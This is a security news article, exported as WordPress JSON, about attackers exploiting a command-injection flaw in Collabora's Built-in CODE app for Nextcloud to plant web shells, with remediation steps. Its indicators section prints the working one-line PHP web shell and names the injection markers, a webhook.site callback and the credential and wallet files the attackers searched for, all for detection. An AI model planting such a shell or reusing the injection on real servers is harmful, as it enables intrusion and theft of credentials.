{"id":3543,"date":"2026-10-14T20:12:02","date_gmt":"2026-10-14T20:12:02","guid":{"rendered":"https:\/\/thedigitalfortress.us\/?p=3543"},"modified":"2026-10-14T20:12:02","modified_gmt":"2026-10-14T20:12:02","slug":"hackers-backdoor-nextcloud-servers-through-critical-flaw-in-collaboras-built-in-code-app","status":"publish","type":"post","link":"https:\/\/thedigitalfortress.us\/?p=3543","title":{"rendered":"Hackers Backdoor Nextcloud Servers Through Critical Flaw in Collabora\u2019s Built-in CODE App"},"content":{"rendered":"<div id=\"articlebody\">\n<div class=\"separator\" style=\"clear: both;\"><a href=\"https:\/\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEhkZLcjmZtzt6NpWa8x4Wz7EdcOQEW6xYv6DA_mBnwy1ctZZeRAyeSYLES-H_mkr1QOBv72WNuGKwKQ-NN179Rw8BRTcYO38sYwxcbDkg1ISW_qWrCRJ9JfUXh3102OmwrF0HQq6dbSc58VXACXoi_EoI8ysPuSlzB_nBcHuFl9r3QakOsGG9GUm6UVOU8\/s1700-nu-rw-lo-l85-e365\/nextcloud.jpg\" style=\"display: block;  text-align: center; clear: left; float: left;\"><\/a><\/div>\n<p>Attackers exploited a flaw in an optional Nextcloud app, <a href=\"https:\/\/apps.nextcloud.com\/apps\/richdocumentscode\" target=\"_blank\">Collabora Online &#8211; Built-in CODE Server<\/a>, to plant web shells on Nextcloud servers. Three administrators <a href=\"https:\/\/github.com\/CollaboraOnline\/richdocumentscode\/issues\/354\" target=\"_blank\">reported the issue on GitHub<\/a>, with the first logged attack on September 10.<\/p>\n<p>A web shell is a small file that executes any command an attacker sends via a web request, with the rights of the web server account. The flaw allows an unauthenticated request to run a command on the server, but only when the app&#8217;s local document server is not running, such as during a restart or upgrade, or after a crash.<\/p>\n<p>Collabora fixed it in <a href=\"https:\/\/github.com\/CollaboraOnline\/richdocumentscode\/releases\/tag\/26.4.303\" target=\"_blank\">version 26.4.303<\/a> on September 11 and on October 14 published <a href=\"https:\/\/github.com\/CollaboraOnline\/online\/security\/advisories\/GHSA-g3vx-3m76-fghh\" target=\"_blank\">an advisory<\/a> with the identifier <a href=\"https:\/\/www.cve.org\/CVERecord?id=CVE-2026-110447\" target=\"_blank\">CVE-2026-110447<\/a>, warning that turning off the app does not help: it must be updated or removed.<\/p>\n<h3>Who Is Affected<\/h3>\n<p>The app, published by Collabora under the package name richdocumentscode, downloads a copy of Collabora Online Development Edition (CODE) and runs it on the Nextcloud server itself.<\/p>\n<p>That lets Nextcloud Office edit documents without a separate Collabora server. Its store listing says it is \u00abfor local testing and non-production use\u00bb and \u00abfor personal use or for small teams.\u00bb<\/p>\n<p>Collabora&#8217;s advisory covers every version before 26.4.303 and says standalone Collabora Online servers are not affected. A <a href=\"https:\/\/help.nextcloud.com\/t\/to-collabora-built-in-user-update-asap\/250516\" target=\"_blank\">warning posted on the Nextcloud community forum<\/a> on October 3 stated that an installation is not affected if it uses only the Nextcloud Office app ( richdocuments) without the built-in app, whether its Collabora server runs in Docker, from a Linux package, or at a hosting provider.<\/p>\n<div class=\"dog_two clear\">\n<div class=\"cf\"><a href=\"https:\/\/thehackernews.uk\/growth-ai-control-d\" rel=\"nofollow noopener sponsored\" target=\"_blank\"><img loading=\"lazy\" decoding=\"async\" class=\"lazyload\" alt=\"Cybersecurity\" src=\"https:\/\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEjVYuoalvwUlwvLZFDideJ8jW4rz-IodX0Lwi7uyP7Ab0wiDeu_BqVhPDdejQQ65MC3p9Xc4MApnHz56NJ5SDc1HMg0DvozkkGYv9TGtDLCh26v1yD5-GyzQxnA5-6A6B4beW96H_6FyrByq22cvU5JDF-i8e5GIfV4wg1SpCvjwAJt74FaqkAb2gzqE7ll\/s728-nu-rw-lo-l85-e365\/core-d.png\" width=\"729\" height=\"91\"\/><\/a><\/div>\n<\/div>\n<p>The app&#8217;s proxy.php script starts the local CODE server whenever a request arrives, and nothing is listening. In versions up to 26.4.302, the script placed text from the request, including its path, inside a double-quoted bash command, where the shell still runs anything written as $(&#8230;).<\/p>\n<p><a name=\"more\"\/><\/p>\n<p>A request with a command hidden in its path ran that command as the web server user. Because the script only builds that command when it needs to start the server, the attack works only while the server is down, such as during a container restart, an upgrade, or a crash.<\/p>\n<p>The script is a plain PHP file that the web server runs directly from the app&#8217;s folder and loads none of Nextcloud&#8217;s code.<\/p>\n<p>\u00abIt is not sufficient to disable the app to avoid the problem; it must be upgraded to &gt;= 26.4.303 or removed,\u00bb Collabora said in the advisory.<\/p>\n<p>The fixed versions <a href=\"https:\/\/apps.nextcloud.com\/apps\/richdocumentscode\/releases?platform=26\" target=\"_blank\">require Nextcloud 30 or later<\/a>.<\/p>\n<p>Nextcloud 29 and older are end of life, and the app store still serves them an affected version, so their users should upgrade Nextcloud or remove the app. Collabora&#8217;s fix for a separate command-injection flaw in the same script, <a href=\"https:\/\/github.com\/CollaboraOnline\/online\/security\/advisories\/GHSA-j3q6-q5pc-v5wf\" target=\"_blank\">CVE-2025-66208<\/a>, disclosed last December, does not prevent this one.<\/p>\n<h3>What the Attackers Did<\/h3>\n<p>The first report came from an administrator who hosts several Nextcloud servers and wrote on GitHub that the servers had been hacked since the day before. Access logs from two of them show requests at 19:51 on September 10 and 09:56 on September 11 (UTC+2), both from one IP address and both aimed at proxy.php?status with a shell command hidden in the request path. All of the administrator&#8217;s servers ran version 26.4.302.<\/p>\n<p>The command decoded a one-line PHP web shell into the app&#8217;s folder and tried to send the server&#8217;s uname -a output to a webhook.site address. On one server, the attacker then used the shell to search for credential stores and cryptocurrency wallets, including *.kdbx, wallet.dat and keystore.json files and names such as bitwarden, 1password, .bitcoin, .electrum, .monero and .ethereum.<\/p>\n<p>The reviewed requests showed no commands that archived, uploaded, or copied out files, but anything the web server account can read must be treated as potentially exposed, the administrator wrote.<\/p>\n<p>Two other administrators reported the same on their own instances. One found the shell when Nextcloud&#8217;s integrity check flagged a new PHP file, and the other learned of the break-in from emails about failed sudo attempts on the server. None of the reports show the attacker gaining root access.<\/p>\n<p>After updating to 26.4.303, one of them logged another attempt on September 14 from a second IP address with a payload of the same kind. The CODE server it started carried the attack text in its startup options, but no new shell file appeared. The output \u00ablooks scary but should be harmless,\u00bb replied mmeeks, who answered for the project in the thread, telling users to update and to remove any leftover shx*.php files.<\/p>\n<p>The CVE record describes the flaw as \u00abexploited in the wild in September and October 2026.\u00bb How many servers were hit is not known. \u00abThis impacts only the Development Edition, and only in this (rather rarer) Built-in CODE Server deployment mode that downloads a local appimage,\u00bb mmeeks wrote.<\/p>\n<h3>What to Do Now<\/h3>\n<p>What to do, in order:<\/p>\n<ol>\n<li>Update <code>richdocumentscode<\/code>, which appears in Nextcloud&#8217;s app list as Collabora Online &#8211; Built-in CODE Server, to 26.4.303 or later, or remove the app. Disabling it in Nextcloud does not close the flaw.<\/li>\n<li>On Nextcloud 29 or older, which cannot install 26.4.303, upgrade Nextcloud or remove the app.<\/li>\n<li>If you already updated, look for <code>shx*.php<\/code> files, starting in <code>apps\/richdocumentscode<\/code>, and delete them. Then check your access logs back to at least September 10 for <code>proxy.php?status<\/code> requests whose path contains <code>%2e%2e<\/code>, <code>$(<\/code> or <code>${IFS}<\/code>, and look for <code>sudo<\/code> attempts by the web server account. Treat anything that account could read as potentially exposed, as the first reporter advised.<\/li>\n<li>Version 26.4.402, released September 24, rewrote the start command to pass each option as a separate argument, but administrators report that it <a href=\"https:\/\/github.com\/CollaboraOnline\/richdocumentscode\/issues\/356\">fails to start<\/a> or <a href=\"https:\/\/github.com\/CollaboraOnline\/richdocumentscode\/issues\/355\">fails to open documents<\/a> on some setups and have gone back to 26.4.303, the version the advisory names as the fix. No newer release had appeared as of October 14.<\/li>\n<\/ol>\n<p>Indicators from the administrators&#8217; logs:<\/p>\n<ul>\n<li><strong>File<\/strong>: <code>shrf4645.php<\/code>, <code>shxa35d0.php<\/code>, <code>shx5cf91.php<\/code>, <code>shxd33ce.php<\/code> and <code>shxf4645.php<\/code>, found in <code>apps\/richdocumentscode\/<\/code> on the first reporter&#8217;s servers<\/li>\n<li><strong>File<\/strong>: <code>shx13a86.php<\/code>, found by a second administrator (location not stated)<\/li>\n<li><strong>File<\/strong>: <code>shx56367.php<\/code>, the name in the September 14 attempt that created no file<\/li>\n<li><strong>SHA-256<\/strong>: <code>4b9fbd0663fbfd6028fc216ed18e0d6ef3ae498a7fdc97083e4b0ce3cec40562<\/code>, the one-line shell <code><?php $c=$_GET['c']??'id'; echo shell_exec($c.' 2?>&amp;1');<\/code><\/li>\n<li><strong>Path<\/strong>: <code>\/apps\/richdocumentscode\/proxy.php?status<\/code><\/li>\n<li><strong>IP<\/strong>: <code>139.28[.]18[.]122<\/code> (September 10 and 11 attacks), <code>89.38[.]98[.]50<\/code> (September 14 attempt against a patched server)<\/li>\n<li><strong>Request markers<\/strong>: <code>%2e%2e<\/code>, <code>$(<\/code>, <code>${IFS}<\/code>, and <code>base64 -d<\/code> piped to <code>sh<\/code>, all in the request path<\/li>\n<li><strong>Domain<\/strong>: <code>webhook[.]site<\/code>, a public service, with callback IDs <code>45060ed4-de0b-4119-8f0d-2a2776bbd413<\/code> and <code>774cf5e1-b5a4-4174-a1ad-0241861029a2<\/code><\/li>\n<\/ul>\n<h3>A Fix That Shipped Without a Security Notice<\/h3>\n<p>The code change that closed the flaw is <a href=\"https:\/\/github.com\/CollaboraOnline\/richdocumentscode\/commit\/6cc8dae54c92bae27d53c54b9898cf1123ca2066\">four lines<\/a> in <code>proxy.php<\/code>. The start command is now handed to bash as a single escaped argument instead of a double-quoted string, so the shell that receives it no longer expands text from the request.<\/p>\n<div class=\"dog_two clear\">\n<div class=\"cf\"><a href=\"https:\/\/thehackernews.uk\/network-defense-d\" rel=\"nofollow noopener sponsored\" target=\"_blank\"><img loading=\"lazy\" decoding=\"async\" class=\"lazyload\" alt=\"Cybersecurity\" src=\"https:\/\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEjVV2rRkX8tRMF6gCzemvQNpwFwGxRWxY1cJEYfoLLSj1EZYJOlj5WTR77t0i6kELXujYcaHTpRDqTjCbVHH5Pnh7wzxUiKP5j4dsDkWIMlp2bmpZsL0jeAsA_19pHH5UPtyBvNkZdyGEULOAsXPcraMP5CYjQRFefhXRSdEjYkrdcpUnc4ILcvcdEfAauE\/s728-nu-rw-lo-l85-e365\/tl-d.jpg\" width=\"729\" height=\"91\"\/><\/a><\/div>\n<\/div>\n<p>The repository&#8217;s commit record shows the change was written on August 20 by Caol\u00e1n McNamara, who also published the advisory, under the title \u00abtidy up how the coolwsd launch command is built.\u00bb It was not in version 26.4.302, released on August 31, and was committed on September 9. The first logged attack came on September 10, and 26.4.303 followed on September 11 with release notes that name only the bundled CODE build.<\/p>\n<p>The administrator who reported the attacks disabled the app while waiting for a fix, the step the advisory now says is not enough. In the thread, mmeeks told users to update, promised \u00abmore updates in due course,\u00bb and pointed to a \u00abrecord backlog\u00bb at GitHub&#8217;s advisory database, linking to <a href=\"https:\/\/github.blog\/security\/supply-chain-security\/inside-the-advisory-database-and-what-happens-when-vulnerability-volume-breaks-records\/\">a June post<\/a> in which GitHub said its processing had fallen weeks behind.<\/p>\n<p>On October 3, a member of the Nextcloud community forum warned other users to update at once because the flaw was \u00abalready being exploited\u00bb and \u00abno warning or CVE has been published.\u00bb The CVE and the advisory came on October 14. The advisory credits a GitHub user, wwwshellcodeit, as the reporter, and neither it nor the thread says when the report came or when Collabora learned the change was a security fix.<\/p>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p>Attackers exploited a flaw in an optional Nextcloud app, Collabora Online &#8211; Built-in CODE Server, to plant web shells on Nextcloud servers. Three administrators reported the issue on GitHub, with&hellip;<\/p>\n","protected":false},"author":1,"featured_media":3544,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[790,179,3126,10,3787,58,70,338,3786,777],"class_list":["post-3543","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-uncategorized","tag-app","tag-backdoor","tag-builtin","tag-code","tag-collaboras","tag-critical","tag-flaw","tag-hackers","tag-nextcloud","tag-servers"],"_links":{"self":[{"href":"https:\/\/thedigitalfortress.us\/index.php?rest_route=\/wp\/v2\/posts\/3543","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thedigitalfortress.us\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thedigitalfortress.us\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thedigitalfortress.us\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thedigitalfortress.us\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3543"}],"version-history":[{"count":0,"href":"https:\/\/thedigitalfortress.us\/index.php?rest_route=\/wp\/v2\/posts\/3543\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/thedigitalfortress.us\/index.php?rest_route=\/wp\/v2\/media\/3544"}],"wp:attachment":[{"href":"https:\/\/thedigitalfortress.us\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3543"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thedigitalfortress.us\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3543"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thedigitalfortress.us\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3543"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}